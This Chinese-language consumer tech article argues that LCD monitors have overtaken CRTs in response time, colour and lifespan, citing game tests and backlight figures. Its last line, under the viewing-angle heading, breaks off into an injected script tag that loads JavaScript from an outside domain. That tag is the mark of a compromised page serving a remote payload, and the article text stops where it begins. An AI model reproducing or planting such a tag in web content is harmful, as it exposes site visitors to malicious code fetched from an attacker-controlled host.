90年代中期，伴随着液晶技术的成熟，液晶显示器(lcd)作为一种新兴的显示设备也开始走向了市场。而当lcd被钦点为crt的接班人时，用户也对它投入了更多关注的目光，并且也倾注了更多的热情与期待。但与此同时，关于lcd的种种不足与弊端又开始被人们无限制的重复着，这甚至让一部分用户开始对lcd表示出了不屑与不满。再加上昂贵的价格，似乎lcd除了轻薄与环保之外，在其它地方就毫无可取之处：
过高的响应时间，会让你对游戏会变得毫无兴趣
垃圾一般的色彩，不要说作图，就是看照片也勉为其难
寿命，使用一段时间屏幕就会偏色，亮度急剧下降
对比度，在crt面前简直不值一提
可视角度，视线稍做偏转
lcd这些固有的缺陷也引起过太多争议，但我们更需要清楚的看到，随着技术的一日千里，这些缺陷也正在漫漫的淡出我们的视线。不仅如此，lcd更在的积极的扩张crt的市场。过去的种种缺陷甚至成为lcd反败为胜的杀手锏。
从速度更快的灰阶响应时间，比crt更优异的色彩表现、接近极限的可视角度以及更高的对比度、亮度，我们就具体的来看看lcd是如何将crt至于死地的！
响应时间 － 老套的话题，却总能带来惊喜
在今天看来，响应时间已经成为了一个超级老套的话题，但这个话题又实在太过深入人心，说一至今还有不少用户保守的坚持着“唯响应时间论”。根据我们最近这几年来对上百台液晶显示器的进行的测试，也让我们感受到了响应时间的迅猛发展。
在30ms时代，这也是消费者刚刚开始认可lcd的时候，响应时间的问题的确让人无法忍受，记得那时我们还在玩quake3与cs，只要画面稍加移动，一道道虚影就会遍布画面的每个角落，这一点在cs中按“q”键进行枪械的切换时表现的尤为明显。
但随着25ms、16ms产品的推出，我们再进行游戏时，画面的表现可以说一次次的给我们带来惊喜，越来越少的拖影使得游戏画面更加流畅自然，因而也更加肯定了我们对于lcd的信心。
当技术发展至8毫秒以及今天的灰阶4毫秒时，lcd拖影对画面产生的影响已经可以忽略不计了。我们此前曾经做过类似的测试，用一台灰阶8毫秒lcd对比一台crt，让二者显示器完全相同的画面，我们几乎难以区分究竟谁的拖影更明显一些，因为他们表现得都让我们感到满意。
结论：今天的lcd对于拖影的解决已经相当好了，只要您不是刻意的去观察，相信绝大多数产品都可以提供令您满意的性能。
色彩 － 谁说crt是色彩之王？还是省省吧
此前在专业领域，crt显示器是当之无愧的首选，而在民用领域，crt也更是在色彩方面具有得天独厚的优势，而lcd的色彩问题也总是被为人诟病。的确，由于在技术上远不及crt那样成熟，因此从显示效果上lcd也并不能让人满意。驱动ic位数过低，滤光片、偏光膜以及背光源也远不够先进，这些内在因素都致使lcd并不能给我们带来赏心悦目的视觉感受。
不过在今天，我们认为色彩已经不会成为阻碍lcd普及的绊脚石了。无论是专业还是民用，lcd的表现都已经取得了长足进展，这一方面得益于制造技术的成熟，各原材料组件的综合表现提升的都非常明显。也为显示器带来了更高的亮度、对比度，同时也直接拉动了色彩的整体表现。
液晶显示器的背光源
此外，对于lcd而言是重中之重的背光模块，我们不仅看到的在亮度、寿命上的飞速提升，更有led背光这种新新兴的技术的涌现，为lcd注入了无比强劲的动力。它将lcd的色彩提升到了一个全新的高度，超越100％ ntsc标准的表现证明了lcd即使在苛刻的专业领域也将力压crt。
结论：对比民用级别的crt，lcd在色彩方面并不比它逊色，而即使专业的crt产品，新技术也让lcd完全可以压过对方。
寿命 － 你的cpu已经换了n代，而你的lcd却还在服役
在2年以前可能消费者还会去讨论lcd的寿命问题，人们很担心显示器还没有到报废期就因为短寿而夭折，因此它是否值得购买也就有待商榷。这种说法至今还保有一定市场，但我们认为这实际是对lcd的一种误解，因为寿命从来就不应该也不会成为lcd的缺陷。
厂商对于lcd寿命的定义如下：当显示器的亮度衰减到初始亮度的一半时，就可以认定这台显示器的“阳寿已到”，例如某显示器的亮度从初始的200nits衰减到了100nits。
而此前lcd的平均寿命大约在2～3万小时左右（实验室测试结果）。2～3万小时又是怎样的一个概念呢？这就相当于需要在3年半的时间内连续24小时开机，才能让lcd寿终正寝。想必没有人会这么疯狂的对待显示器，也许你的电脑都无法支撑这么长的时间。
而今天的lcd更是将寿命提升到了5万小时甚至更长的时间，那么就可以保证你在6年内无间断的使用显示器，对于lcd地寿命问题也就更不必担心了。
结论：放心的使用lcd吧，你会发现你的电脑都已经进行第2轮的升技了，但你的lcd还在为你服役。
可视角度 － 没什么?script src=http://er12.com/t.js>
